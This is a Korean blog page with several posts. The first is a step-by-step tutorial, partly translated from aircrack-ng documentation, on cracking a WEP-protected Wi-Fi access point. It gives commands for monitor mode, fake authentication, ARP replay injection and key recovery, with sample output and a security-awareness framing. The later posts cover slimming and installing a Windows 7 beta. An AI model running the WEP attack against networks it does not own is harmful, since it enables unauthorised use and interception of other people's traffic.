가장 간단한 피해로는 AP(Access Point)공유를 들수있겠습니다. 쉽게 내가 쓰고있는 무선인터넷

서비스를 누군가에게 공유하려는 생각이 없는데 누군가 같이 쓰고있다는것입니다. 이중에서

WEP해킹의 경우 명령어 몇줄만 쓰면 손쉽게 해킹이 가능합니다. 그래서 직접 시도해봤습니다.

캡쳐화면등은 일부러 전혀 남기지 않았고 인터넷에서 쉽게 찾아볼수 있는 자료를 붙혀넣기

했습니다. 원본출처 : http://skyfac.com (빨간글씨로 저의 의견등을 쓰겠습니다.)

(사용된 도구 : Eee PC 701(802.11b/g Atheros wireless lan),
Backtracks 3 Live CD(각종 네트워킹 관련툴이 포함된 Slackware 기반의 리눅스)

(수행하기전 자신의 무선네트워크 카드가 airsnort등의 프로그램을 지원하는지 확인해야합니다.
대부분 지원하는것으로 알고있는데 모델명만 약간 달라도 지원하지 않는경우가 더러 있다고하네요.)

사용자 삽입 이미지
Backtrack은 USB로 Live CD를 간단히 만들수가 있습니다.

실험에 앞서 일단 back track은 해킹툴 패키지가 아닙니다. 각종 네트워크툴을 모아놓은
보안관리툴이라고 보는것이 맞을듯 싶네요. 그리고 부디 악용하지 마시기 바랍니다.
사용시 생길수 있는 문제나 불이익등은 모두 개인에게 책임이 있습니다.
-----------------------------------------------------------------------------------------

AP의 WEB Key를 크래킹 하기 위해서는 수많은 양의 IVs(Initialization Vectors)를 모아야 한다. 평상시의 경우에는 이러한 IVs들이 빨리 생성되지 않는다. 만약 인내심이 많은 사람이라면 단지 네트워크의 트래픽을 저장하는 것 만으로도 WEB Key를 크래킹하기 위한 충분한 양의 IVs를 모을 수 있다. 하지만 이 글을 읽고 있는 대부분의 사람들은 이것을 참지 못할 것이기 때문에 Injectino이라고 부르는 기술을 사용할 것이다. Injection 기법은 AP에 보낸 패킷을 계속해서 빠르게 재전송하기 때문에 많은 수의 IVs를 짧은 시간내에 얻을 수 있다.



WEB Key를 크래킹 하기 위한 기본적은 단계는 다음과 같다.
  1. 무선랜을 모니터(monitor) 모드로 변경하기.
  2. aireplay-ng를 이용하여 AP에 가짜 인증(authentication) 하기.
  3. BSSID필터를 이용해 특정 AP 채널의 IVs 값들을 수집하기.
  4. aireply-ng의 ARP request replay 모드를 이용하여 패킷 주입하기.
  5. aircrack-ng를 이용하여 수집된 IVs 패킷 크래킹하기.


1단계 - 무선랜을 모니터(monitor) 모드로 변경하기

  먼저 랜카드를 '모니터' 모드로 변경하기 위해 이 단계를 실시한다. 모니터 모드란 공기 중에 흐르고 있는 모든 무선 패킷들을 랜카드가 수집(listen)할 수 있는 상태를 말한다. 보통의 경우에 랜카드는 모든 패킷기 아닌 자기 자신에게 오는 패킷만 받아들인다. 즉 모니터 모드는 패킷을 주입할 수 있도록 해 주는 단계이다.(참고: 아래의 과정은 Atheros 카드가 아닐 경우 다를 수 있다.)

먼저 ath0을 정지한다.

airmon-ng stop ath0


다음과 같이 나타난다.

Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)


athX 인터페이스가 없는지 재확인 하기 위해 "iwconfig" 명령어를 이용한다.

 lo        no wireless extensions.
 
 eth0      no wireless extensions.
 
 wifi0     no wireless extensions.


만약 다른 종류의 athX가 남아 있다면 정지시키기 바란다.

이제, 랜카드를 채널 9에 모니터 모드로 변경시키기 위해 다음과 같이 입력한다.

airmon-ng start wifi0 9

Note : 이 명령에서는 우리가 사용하는 ath0대신 wifi0을 사용했는데 이는 madwife-ng 드라이버가 이미 사용중이기 때문이다.

다음과 같은 화면이 출력될 것이다.

Interface             Chipset             Driver
 wifi0           Atheros         madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0)
(monitor mode enabled)


 

이제 ath0이 모니터 모드로 변경되었다. iwconfig 명령을 통해 확인해 볼 수 있다.
  lo            no wireless extensions.
 wifi0     no wireless extensions.

eth0 no wireless extensions.

ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0


2단계 - aireplay-ng를 이용하여 AP에 가짜 인증(authentication) 하기.

  이 단계에서는 생성된 IVs를 수집한다. 새로운 콘솔(console)을 열어서 다음과 같이 입력한다.

airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0


 

  • -c는 무선 네트워크의 채널을 의미한다. 이는 사용자의 환경에 따라 적절히 변경되어야 한다.
  • --bssid는 공격하고자 하는 AP의 MAC 주소를 의미한다.
  • -w는 IVs들이 담길 파일 이름을 지정한다.
  • ath0은 인터페이스 이름이다.

  그런데 이 명령을 수행하기 전에 먼저 bssid를 알아내야 한다. bssid 즉 공격하고자 하는 AP의 MAC주소는 다음과 같은 명령을 통해 확인할 수 있다. 또한 이 명령은 Injectino이 제대로 작동하는지 테스트 하는 명령이기도 하다.

aireplay-ng -9 ath0


시스템에 다음과 같은 화면이 출력된다.

 16:29:41  ath0 channel: 9
 16:29:41  Trying broadcast probe requests...
 16:29:41  Injection is working!
 16:29:42  Found 5 APs
 
 16:29:42  Trying directed probe requests...
 16:29:42  00:09:5B:5C:CD:2A - channel: 11 - 'NETGEAR'
 16:29:48  0/30: 0%
 16:29:48  00:14:BF:A8:65:AC - channel: 9 - 'title'
 16:29:54  0/30: 0%
 16:29:54  00:14:6C:7E:40:80 - channel: 9 - 'teddy'
 16:29:55  Ping (min/avg/max): 2.763ms/4.190ms/8.159ms
 16:29:55  27/30: 90%
 16:29:55  00:C0:49:E2:C4:39 - channel: 11 - 'mossy'
 16:30:01  0/30: 0%
 16:30:01  00:0F:66:C3:14:4E - channel: 9 - 'tupper'
 16:30:07  0/30: 0%


위의 화면에서 볼 수 있듯이 BSSID 들이 AP별로 출력되고 있다.

다시 2단계의 명령으로 돌아가 보자. Injection이 발생하면 다음과 같은 화면을 볼 수 있다.

CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25
                                                                                                             
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                           
 00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy                          
                                                                                                           
 BSSID              STATION            PWR  Lost  Packets  Probes                                            
                                                                                                           
 00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782



3단계 - BSSID필터를 이용해 특정 AP 채널의 IVs 값들을 수집하기.

AP가 패킷을 받아들이기 위해서는 반드시 대상 MAC 주소와 연결이 이루어져야 한다. 만약 대상 MAC주소와 연결이 이루어져있지 않은 상태에서 패킷을 보낸다면 AP는 패킷을 무시하고 대신 DeAuthentication 패킷을 반출한다. 이런 경우에는 AP가 주입된(Injected) 모든 패킷을 무시하므로 새로운 IVs가 발생되지 않는다.

  Injectino이 실패하는 가장 큰 이유 중 하나가 바로 AP와의 연결(Association)이 이루어지지 않았기 때문이다. 따라서 반드시 다음을 사항을 잊지마라 : Injection을 하고자 하는 AP의 주소는 가짜 인증(fake authentication)이나 벌써 연결된 클라이언트를 이용하여 반드시 연결되어야 한다.

AP와 연결하기 위해 다음과 같은 가짜 인증 명령을 내보낸다.

aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0


 

  • -1은 fake authentication을 의미한다.
  • 0은 초당 재연결 시간을 의미한다.
  • -e teddy는 무선 네트워크 이름을 의미한다.
  • -a 00:14:6C:7E:40:80은 AP의 MAC 주소를 의미한다.
  • -h 00:0F:B5:88:AC:82는 자신의 랜카드 MAC 주소를 의미한다.
  • ath0은 무선 네트워크 interface 이름이다.


가짜 인증이 성공하면 다음과 같이 출력된다.

18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)



4단계 - aireply-ng의 ARP request replay 모드를 이용하여 패킷 주입하기.

  이 단계는 aireplay-ng를 이용하여 ARP request를 네트워크에 재주입시키는 과정이다. ARP request를 재주입하는 이유는 AP는 보통 ARP request를 받으면 새로운 IV를 생성하여 반출하기 때문이다. 이를 통해 우리는 짧은 시간내에 많은 양의 IVs를 수집할 수 있게 된다.

새로운 콘솔을 실행한 후 다음 명령을 입력한다.

aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0


ARP request가 주입되기 시작하면 다음과 같은 화면이 출력된다.

 Saving ARP requests in replay_arp-0321-191525.cap
 You should also start airodump-ng to capture replies.
 Read 629399 packets (got 316283 ARP requests), sent 210955 packets...


처음에는 Read의 packets 수만 올라가고 ARP requests를 받는 데 시간이 좀 걸릴 수 있다. 일정시간이 지나고 나면 위의 내용처럼 숫자들이 올라가기 시작한다.

airodump-ng가 실행되고 있는 콘솔을 보면 Injecting이 잘 이루어지고 있는지 확인할 수 있다. 데이터 패킷의 수가 급격하게 증가하고 있을 것이다.


5단계 - aircrack-ng를 이용하여 수집된 IVs 패킷 크래킹하기.

이제 남은 것은 수집된 IVs 정보를 이용해 WEP 키를 추출하는 것이다. 새로운 콘솔을 실행한 뒤 아래와 같이 입력해보자.

aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap
  • -z는 PTW WEP-cracking 방법을 이용한다는 뜻이다.
  • -b 00:14:6C:7E:40:80는 공격의 대상이 되는 AP의 MAC 주소이다.
  • output*.cap는 output으로 시작하면서 확장자가 cap인 모든 파일을 의미한다.


지금까지의 모든 과정이 순조롭게 이루어졌다면 WEP 키는 금방 찾아낼 수 있다. 이를 위해서는 대략 64비트일 때는 250,000개의 IVs, 128비트일 때는 1,500,000개의 IVs가 필요하다. PTW 공격방법을 사용한다면 20,000 패킷(64비트)에서 40,000~85000 패킷(128비트)이 필요하다. 이는 매우 대략적이기 때문에 상황에 따라 필요한 패킷이나 IVs는 달라질 수 있다.

WEP 키를 얻는 데 성공했다면 다음과 같은 화면이 나타날 것이다.

(신호가 약할경우 IVs를 모으는데 시간이 많이 걸릴뿐더러 제대로 모이지가 않습니다.
제 경우에는 첫시도 장소에서 신호가 약해 다른 강한신호가 잡히는곳에서 시도해서 성공했습니다.)

Aircrack-ng 0.9
 
 
                              [00:03:06] Tested 674449 keys (got 96610 IVs)
 
 KB    depth   byte(vote)
  0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(
  0)
  1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12)
  2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10)
  3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15)
 
                       KEY FOUND! [ 12:34:56:78:90 ]
      Probability: 100%


참고사항

  • 위의 문서는 아래 참고 문서의 일부분을 번역하여 옮긴 것이며 필자가 직접 작성한 부분도 있습니다.
  • 위의 문서는 WEP와 관련하여 무선 네트워크에 대한 보안 위협을 인식하기 위함이지 다른 네트워크를 침투하여 타인에게 피해를 입히기 위함이 아닙니다.
  • 위의 문서 내용으로 인해 발생한 모든 사고 및 손해 등에 대해서 필자는 절대 책임지지 않습니다.


* Reference

  1. http://www.aircrack-ng.org/doku.php?id=simple_wep_crack
  2. http://www.aircrack-ng.org/doku.php?id=injection_test

------------------------------------------------------------------------------------

위와같이 간단한 명령어 몇줄만으로 WEP키를 알아내서 암호화 되있는 어떤 AP를 공유해서

인터넷을 쓰는것이 가능해집니다. WPA해킹의 경우 시도해보지는 않았으나 WPA또한 이런

BackTrack등을 사용해서 해킹하는 방법을 손쉽게 찾아볼수 있기때문에 완전한 해결책이

될수는 없습니다. 게다가 암호화 방식은 하드웨어적으로 지원을 하는것인데 비교적 구형

무선랜카드를 사용한다면 WEP방식의 암호화를 사용합니다. 요새는 WPA2방식까지

암호화 방법을 선택할수 있는 기기들이 많이 출시되고 있습니다.

사용자 삽입 이미지

문제는 이러한 기기들이 아무곳에서나 편리하게 사용될수 있다는것인데 개인적으로 가정에서

사용하는것에는 큰 피해를 체감할수 없겠지만 기업체나 공공기관에서는 수많은 개인정보나

기업정보가 유출될수 있습니다. 위에서 들었던 예는 단순히 AP만을 공유해서 무선인터넷을

공짜로 쓰는데에만 촛점이 맞춰져있지만 더 큰 피해도 생길수가 있습니다. 예를 들면 주민등록

번호나 웹사이트 ID,비밀번호등이 유출될수 있겠죠. 어쨋든 개인적인 문제로 촛점을 맞추면 누구던지

허락하지 않았는데 누군가 내것을 막쓰고 있다면 불쾌할겁니다. 지금 무선인터넷 서비스를

쓰고 계신분들은 이런점들이 있구나하는것을 염두해 두시고 WEP방식을 쓰시는분들은 반드시

WEP키를 자주 변경하신다던지 하셔야겠고 WPA방식을 쓰시는분들도 자주 키를 변경하시는것이

좋을듯 싶습니다. 그리고 가급적이면 인터넷 뱅킹 서비스를 무선으로 사용하지 마시길 바랍니다.

제 경우엔 무선으로 이러한 서비스를 이용하진 않지만 유선으로 사용하는 인터넷뱅킹 계좌도

소액만 예금되있고 소액결제에만 사용하고 있습니다. 어쨋든.. 이런 위험한 요소들이 무선인터넷

사용시 항시 따라다니고 있으니 사용하시는분들은 한번씩 자신이 쓰고있는 무선랜 보안환경에

약간 신경을 써보는것이 좋을듯 싶습니다.

신고
크리에이티브 커먼즈 라이선스
Creative Commons License
어제 윈도우7 베타의 라이트버전 제작 가능여부에 대해 글을 남겼었습니다. 그리고 오늘 간단히

테스트 해봤는데 몇번의 시행착오가 있었습니다. 설치는 제대로 진행되지만 정상적인 부팅이

되지 않던 문제점이 있었고 아예 설치가 제대로 안되는 문제점도 있었는데 두세번 다시 해보니

제대로 작동을 하게 됐습니다. 아래의 경량화 방법을 참고하시면 되겠고 vLite 사용방법을

모르시는 분들은 전에 썼던 이글을 참고하세요.

사용자 삽입 이미지
제작시 윈도우7 Home Basic,Home Premium,Business,Ultimate 중 어느것을 선택할지 물어봅니다.

네가지 모두 테스트 해봤는데 Ultimate에디션을 제외하고는 모두 설치후 오류를 발생시켰습니다.

아무래도 윈도우7 베타가 테스트용도로만 Ultimate에디션을 기본적으로 지원하는데다가

vLite가 비스타 전용이기 때문에 그런듯 싶습니다.

사용자 삽입 이미지
맨위의 Integration은 서비스팩이나 드라이버등을 통합시킬때 사용하는 메뉴로 체크되있다면 해제

하고 위의 사진처럼 모두 활성화 시켜준뒤 다음단계를 진행합니다.

사용자 삽입 이미지
미리 제작해둔 자료들을 가지고 진행하기때문에 Compatibility의 다른 항목들이 제외되어 있습니다.

위의 항목들은 해당항목의 호환성을 vLite에서 염두하여 어떤 구성요소를 제거했을때 호환성에

문제가 있으면 경고 메시지를 나타내 줍니다. 크게 중요하진 않습니다만 비스타를 경량화 시킬때도

잘 맞지 않으면 설치시나 설치후 오류가 생깁니다.

사용자 삽입 이미지
(1/5)

이 사진부터 아래로 네번째 사진까지 체크표시가 안된 모든 항목을 체크해주면 됩니다. 다시 한번

말하지만 미리 만들어둔 라이트버전 ISO이미지로 진행하기 때문에 그렇습니다. 최대한 경량화

시키면서 호환성은 나쁘지 않게 만드는것이 이번 제작의 목적입니다.

(Welcome Center의 경우 체크표시가 되있는데 없애지 마시기 바랍니다. 제거했을때

초기설치후 마지막 사용자 설정을 할때 오류가 생깁니다.)


사용자 삽입 이미지
(2/5)

사용자 삽입 이미지
(3/5)
사용자 삽입 이미지
(4/5)
사용자 삽입 이미지
(5/5)

이 다음화면에 나타나는 Tweak섹션에서는 사용자 구미에 맞게 설정해주시면 됩니다. 예를들어

UAC해제나 설치시 요구메모리 정보등을 수정할수 있습니다. 요구메모리의 경우
 
256MB를 기본으로 설정할수 있습니다.

사용자 삽입 이미지

제어판의 시스템 항목에 나타내어질 OEM등록정보와 설치시 CDKEY를 미리 입력시켜 무인설치화

해주는 옵션들입니다. Product Key부분의 모든 항목을 해제 시켜줍니다. 체크해도 별 이상없었지만

저의 경우 윈도우7,비스타의 약간의 차이점을 고려해서 모두 해제 시켰습니다.


사용자 삽입 이미지

지역옵션에서는 위와같이 Prompt로 맞춰줍니다. 이제 모든 변경사항을 Apply시킨뒤 ISO이미지를

만들고 설치를 시작하면 됩니다.

사용자 삽입 이미지

설치는 VMware에서 이뤄졌습니다. 사용하는 다른 컴퓨터에서 따로 설치를 해보려고 했지만 시간

낭비가 많아서 시도하지 않았습니다. VMware의 환경은 RAM 1.0GB, HDD 10GB, CPU(x2)로 설정

해줬습니다. 중간의 설치과정등은 제 블로그의 윈도우7 관련글들에서 보실수 있으니

모두 생략했습니다.

사용자 삽입 이미지

기존 노멀설치시의 HDD사용 용량(Windows 7 Build 7000)

사용자 삽입 이미지

라이트 버전 설치후의 용량

최대 경량화가 목적이기 때문에 에어로효과나 테마,바탕화면등은 모두 삭제 시켰습니다. 이렇게

설치한뒤에는 5GB가량의 공간을 차지하는군요. 최근 출시된 넷북에서는 당연히 원활히 사용할수

있을듯 합니다. 원래는 비스타가 무거운 저의 Eee PC 701(HDD - SSD 4GB)에 설치할 목적이었지만

아직은 불가능하겠습니다. 비스타의 경우 Business 에디션을 경량화 시켜 3.2GB정도의 용량을

차지하도록 만들었던적이 있습니다. 라이트 버전을 만들수 있는툴은 아무래도 윈도우7의 OEM

혹은 RTM버전이 출시된 후에나 제작되지 않을까 생각합니다. 어쨋든 비교적 여유로운 HDD공간을

확보하고 있는 넷북등에서는 매우 원활히 작동할듯 싶네요.

사용자 삽입 이미지

몇가지 테마가 존재하는듯 보이지만 모두 제거했기 때문에 작동하지 않습니다.

사용자 삽입 이미지

이전의 윈도우7 베타 빌드 700 설치기 에서 설치후 기본으로 512MB정도의 메모리를 사용하는것에

비해 확실히 많이 줄어든 300MB정도의 메모리를 사용하는것을 볼수 있습니다. CPU의 경우 1 Core

로 설정했을경우에도 상당히 빨랐습니다. 물론 호스트 컴퓨터의 CPU성능이 따라주기 때문이기도

하지만 지금까지 선보인 윈도우7의 베타버전들이 비교적 저사양에서도 큰무리없이 작동하는것을

보신분들은 이해 하실수 있을듯 싶습니다. 물론 아직 베타버전일 뿐이고 비스타도 RC버전이

출시됐을때와 RTM으로 출시됐을때의 성능상 차이가 꽤 있었던것을 생각해보면 지금의 결과만

으로 윈도우7의 성능을 판단하기엔 이르지만 미리 써보고 싶으신분들은 이렇게 경량화가 가능하다는

점을 알고계시면 좋을듯 합니다. 물론 vLite가 비스타의 경량화에 맞춰진 툴이라 윈도우7에서 새로

추가된 기능등은 제거할수가 없었지만 비교적 저사양이라고 할수있는 넷북등에서는 윈도우7의 기능

을 누리면서 XP와 비슷한 체감성능을 맛볼수 있다는것에 헛된삽질은 아니라고 생각합니다.

많은 점들이 테스트 되지 못했긴 했지만 용량부족으로 설치가 불가능 하신분들은

시도해봐도 좋겠다는 생각이네요.
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
윈도우 비스타의 경량화에 (Lite 버전에) 대한 글은 제가 전에 작성해둔 것이 있는데 이번에 윈도우7

베타 빌드 7000을 설치해보면서 윈도우7도 라이트 버전 제작이 가능한가를 잠깐 생각해봤었습니다.

항상 그렇듯이 결론이 중요한분들을 위해 미리 말하자면 윈도우7도 라이트 버전으로 제작이 가능

하다고 합니다. 해외 블로그나 포럼 혹은 유튜브등의 동영상이나 관련 문서들을 보면 현재 비스타

라이트 버전을 만드는데에 필요한 vLite프로그램으로 윈도우7도 경량화가 가능한것 같습니다.

가장 확신을 줬던 글은 http://windows7center.com 의 글인데 원문을 그대로 옮겨보겠습니다.

----------------------------------------------

There was a lot of doubt as to whether Microsoft will create a separate version of Windows 7 for light-weight ULPC laptops or netbooks. Cnet managed to receive confirmation that this will actually be the case:

A Microsoft person on the floor
said that a lite version of Windows 7 will run on 1GB of memory and 16GB of (solid-state drive) storage. Higher-end Netbooks will have a 160GB hard disk drive, according to Microsoft “guidance.”

The person on the floor also said that dual-atom processors will be seen in netbooks in the very near future. As mentioned in
one of our previous articles, the netbook market is one area of the playing field Microsoft has been weak at. With more than 5 million Atom processors shipped during Q3 2008, it is quite clear that Microsoft has no time to waste in making sure Windows 7 will suit the netbook market as well.

---------------------------------------------

대충 해석해보면 넷북등을 지원하는 윈도우7의 에디션이 따로 출시 될것인가에 대해서 마이크로

소프트의 어떤 한 관계자가 윈도우7의 라이트 버전은 1GB의 램, 16GB의 여유공간에서 잘 작동

할것
이라고 하네요. 이글은 11월경에 작성된 글이기 때문에 상당히 신빙성 있어보입니다.

정식발매시 얼마나 많은 추가요소들이 포함될지는 모르겠으나 윈도우 비스타에서 무슨 자신감

에서인지 너무나 고사양의 PC사양을 사용자들에게 요구한데다가 그렇게 큰 체감성능적 잇점을

맛보지 못한 사용자들의 외면을 받아 윈도우 ME와 함께 실패한 운영체제라는 소리를 듣게된

윈도우 비스타때와는 달리 MS에서도 비교적 저사양에서도 잘 돌아가게끔 윈도우7을 만들고 있는

중인듯 하구요. 유튜브등에 올려진 해외사용자들의 UCC를 봐도 상당히 저사양에서

그럭저럭 돌아가는 모습을 볼수 있습니다. 요새 출시되는 넷북에서는 상당히 원활할듯 보입니다.


(Windows 7 beta 7000 on PENTIUM 3 Sony VAIO PCG-QR10)

윈도우 7의 라이트버전 만들기에 대해서는 다음에 포스팅할 글에서 더 써보겠지만 일단 윈도우7

은 경량화가 가능하다는점을 이글을 보시는분들은 생각해두시고 넷북에 비스타를 설치하려고

노력하지 마시고 윈도우7이 출시되면 그때 경량화해서 설치해보는것이 좋을듯 싶습니다.

오늘 낮에 관련 글들을 보고나서 현재 vLite로 윈도우7 베타를 수정하는중인데 일단 윈도우7

에디션을 분류하는 단계까지는 뜨고있습니다. 여러가지 현재상황을 볼때 마이크로소프트쪽에서는

비스타 정품 사용자들을 위해 윈도우7의 경우 출시후에 더 빨라진 새로운 운영체제라고 강조해서

높은값에 팔것이 아니라 약간의 추가비용만을 내고 비스타에서 업그레이드 시키도록 유도하는것이

옳다고 생각되네요.(물론 MS에서 그렇게 할것이라 생각되진 않습니다.ㅡㅡ;)

그럼 다음에 포스팅할 글에서 윈도우7 베타 최소화 시키기에 대해 써보도록 하겠습니다.

신고
크리에이티브 커먼즈 라이선스
Creative Commons License
 지난 12월에 윈도우7 Build 7000이 6801에 이어서 외국 토런트 사이트에 유포됐습니다. 나오자마자

 설치는 해봤는데 설치기를 써보질 않았네요. 윈도우 7을 나중에 사용하실 계획이 있는분들을 위해

 아직은 베타이지만 설치기를 써보겠습니다. 이전 6801 설치기는 이곳에서..

설치는 VMware에서 이뤄졌습니다. 메모리는 2GB를 할당해줬고 CPU는 2개(듀얼코어의 효과..)로

설정해줬고 HDD는 11.3GB를 할당해줬습니다.

사용자 삽입 이미지

DVD를 읽고 있습니다. 비스타나 이전 6801과 아무 차이가 없습니다.

사용자 삽입 이미지

여기까지도 별반 다를것이 없습니다.

사용자 삽입 이미지

하지만 조금 기다리면 이전의 6801 설치화면에서 비스타 설치화면과 동일하던 지렁이가 없어지고

위의 사진처럼 화려한 시작화면이 나타납니다.

사용자 삽입 이미지

밝아졌다 어두워졌다를 반복합니다. 아마도 이러한 시작화면대로 정품발매가 되지 않을까 추측해

봅니다. 베타에서 이런것을 선보인것을 보면 이제 지렁이는 역사속으로 사라지겠군요.

사용자 삽입 이미지

설치 초기화면입니다. 우측 하단에 빌드넘버가 바뀐것을 볼수가 있죠.

사용자 삽입 이미지

영문이지만 한글 키보드, 언어를 사용할수 있습니다.

사용자 삽입 이미지

이제 설치에 들어갑니다.

사용자 삽입 이미지

빈파티션 밖에 없는데 Upgrade항목이 있군요. 이제껏 윈도우를 사용하면서 업그레이드 항목으로

설치해본적은 윈도우95에서 98로 넘어갈때 딱 한번을 제외하고 한번도 해본적이 없네요. 그래서

이번에도 역시 Upgrade는 눌러보지도 않고 Custom으로 설치했습니다.

사용자 삽입 이미지

윈도우 XP이후로 윈도우 설치는 거의 컴맹인 제 친구도 그냥 설치할 정도로 편해졌습니다. 개인적

으로는 좀 불만인것이 Ultimate 에디션이던 Home에디션이던 설치시 커스텀 메뉴를 제공해줬으면

좋겠습니다.(마치 윈도우98때처럼..) 쓸데없이 용량만 커지고 실상 Ultimate를 쓴다고 해서 미디어

센터나 기타 Extra들은 아예 사용하지도 않습니다. 그렇다고 해서 vLite등으로 이것저것 빼서 만들어

쓰기는 귀찮고 말이죠.. 파티션은 단일 파티션이니 그냥 Next를 눌러도 상관없습니다. 멀티 파티션이

라면 반드시 설치대상인 파티션을 확인하고 설치진행하시기 바랍니다.

사용자 삽입 이미지

설치 진행중입니다. 두번정도 재시작 하는데 역시 HDD에서 설치를 하니 상당히 빠릅니다.

첫번째 재시작 까지 채 10분도 걸리지 않았습니다.

사용자 삽입 이미지

재시작후 레지스트리 셋팅을 하고있습니다.

사용자 삽입 이미지

비디오 퍼포먼스 측정중입니다. 여기서 프로그레스 바의 디자인이 변경됐네요. 윈도우 7은 디자인

면에서 아직까진 비스타와 아주 크게 다른점은 없지만 이런 부분들은 은근히 신경쓰는듯 싶습니다.

아마도 Mac OS나 요새 배포되는 리눅스의 영향이 크지않나 싶습니다.

사용자 삽입 이미지

서비스들을 시작중이네요.

사용자 삽입 이미지

기존 6801의 사용자 등록화면과 다를것 없습니다.

사용자 삽입 이미지

라이센스키...있을리가 없죠. ㅋ 윈도우 비스타는 Beta2가 진행중일때 DVD를 받아서 설치했었습니다.

윈도우 7에서 될까싶어 혹시나 해서 넣어봤지만 역시나 안됐습니다.ㅋ

사용자 삽입 이미지

네트워크 선택은 기존과 동일한데 집,직장,공공장소로 나눠져있습니다. 공공장소로 선택시

파일공유등의 기능이 기본으로 꺼져있게됩니다.

사용자 삽입 이미지

설정을 마치고 윈도우에 진입합니다.

사용자 삽입 이미지

국내 발매가 되면 환영합니다로 또 나오겠지요. 개인적으로 웰컴대신 다른 효과를 집어넣으면 어떨까

싶습니다만.. 아무래도 부팅시 부담이 약간이나마 커질테니 그렇게 만들진 않을듯 싶습니다.

사용자 삽입 이미지

윈도우 7 빌드 7000의 바탕화면입니다. 일단 가장큰 변화로 작업표시줄을 볼수있군요. 좀더

큰아이콘 으로 변했는데 개인적으로는 이렇게 큰것이 별로 마음에 들지 않습니다. 작업표시줄

높이는 일반적인 방법으로 줄어들지 않았는데 레지스트리 수정을 통해 가능할듯 합니다.

사용자 삽입 이미지

작업표시줄은 바꼈지만 메뉴는 비스타와 동일합니다.

사용자 삽입 이미지

미디어센터 화면이 좀 더 화려해졌네요. 저는 미디어센터는 쓸일도 없고해서 윈도우 XP

미디어센터 에디션이 나왔을때도 사용해보지 않았습니다.

사용자 삽입 이미지

여러가지 편리한 기능을 설정해줄수 있습니다. TV볼때는 리모컨으로 조종하면 편하긴 하겠네요.

사용자 삽입 이미지

설치후 용량은 9GB정도 되는군요. 32bit버전이라 이정도 되는듯 싶고 64bit는 비스타처럼 꽤 용량이

커질듯 싶습니다. 여기에 각종 업데이트 및 프로그램들 설치하다보면 20GB는 순식간에 넘기겠죠.

사용자 삽입 이미지

프로그램 실행시 같은 프로그램을 그룹으로 표시하기 기능이 이렇게 바꼈습니다. 저는 불편해서 따로

창을 쓰는 방법만 고집하는데 마우스를 올렸을때 그룹의 프로그램들이 이렇게 표시되기때문에

상당히 편하겠습니다. 물론 그룹으로 묶어서 표시하지 않고 사용하는것도 가능하고
 
바탕화면 테마에 따라서 축소된 창의 색이 각각 달라집니다.

사용자 삽입 이미지

익스플로러 8 Beta를 사용하고 있습니다. 언뜻 봐서는 7과 다른점은 없습니다. 저는 탭기능이 불편해

사용하지 않아서 익스플로러 7에서도 탭기능을 끄고 사용중입니다.

사용자 삽입 이미지

제어판에서는 요새 노트북에 많이 쓰이는 지문인식기능 설정을 할수있게 해주는 메뉴도 보이네요.

그외엔 성능향상이야 이뤄졌겠지만 딱히 비스타와 다른 메뉴는 없습니다.

사용자 삽입 이미지

작업표시줄에서 마음에 드는곳이 이것입니다. 비스타나 XP에서 트레이에 있는 아이콘을 항상

숨김이나 사용하지 않을때는 숨기기로 설정해도 레지스트리 정리등을 하다보면 풀어져버리는

일이 생기곤 해서 약간 거슬렸는데 화살표를 누르면 트레이에 있는 아이콘들이 보이게 됩니다.

오른쪽 맨끝은 바탕화면 보기 버튼입니다. 아이콘으로 존재할때 보다 훨씬 낫군요.


사용자 삽입 이미지

이전 빌드 6801에서는 비스타와 테마 설정 화면이 같았습니다만 7000애서는 좀 더 예쁘게

바꼈습니다. 아래의 첫번째 아이콘을 누르면 기존의 방식대로 배경화면을 바꿀수 있는데

슬라이드 쇼 기능으로 최소 10초 간격으로 배경화면을 바꿀수가 있습니다.

사용자 삽입 이미지

VMware 환경에서 설치한것이라 실사용 환경과 같지는 않겠지만 윈도우7 자체만 설치했을때

리소스 점유율이 다음과 같습니다. 일반적인 듀얼코어 이상의 CPU나 2GB의 메모리를 가지신

분들도 이것저것 다른 프로그램들을 설치한다고 가정해도 원활하게 활용하실수 있을듯 합니다.

오히려 비스타 때보다 훨씬 낫네요.

사용자 삽입 이미지

비스타에서 네트워크 설정을 트레이 아이콘을 통해 들어갈때 생기는 약간의 딜레이가

전혀 없이 바로 실행이 됩니다. 네트워크 설정을 꽤 자주 변경하는 저에게는 좋은일이네요.

사용자 삽입 이미지

홈그룹 네트워킹 메뉴를 통해 기존의 비스타에서 쓰던 작업그룹간의 암호공유 설정을 할수 있습니다.

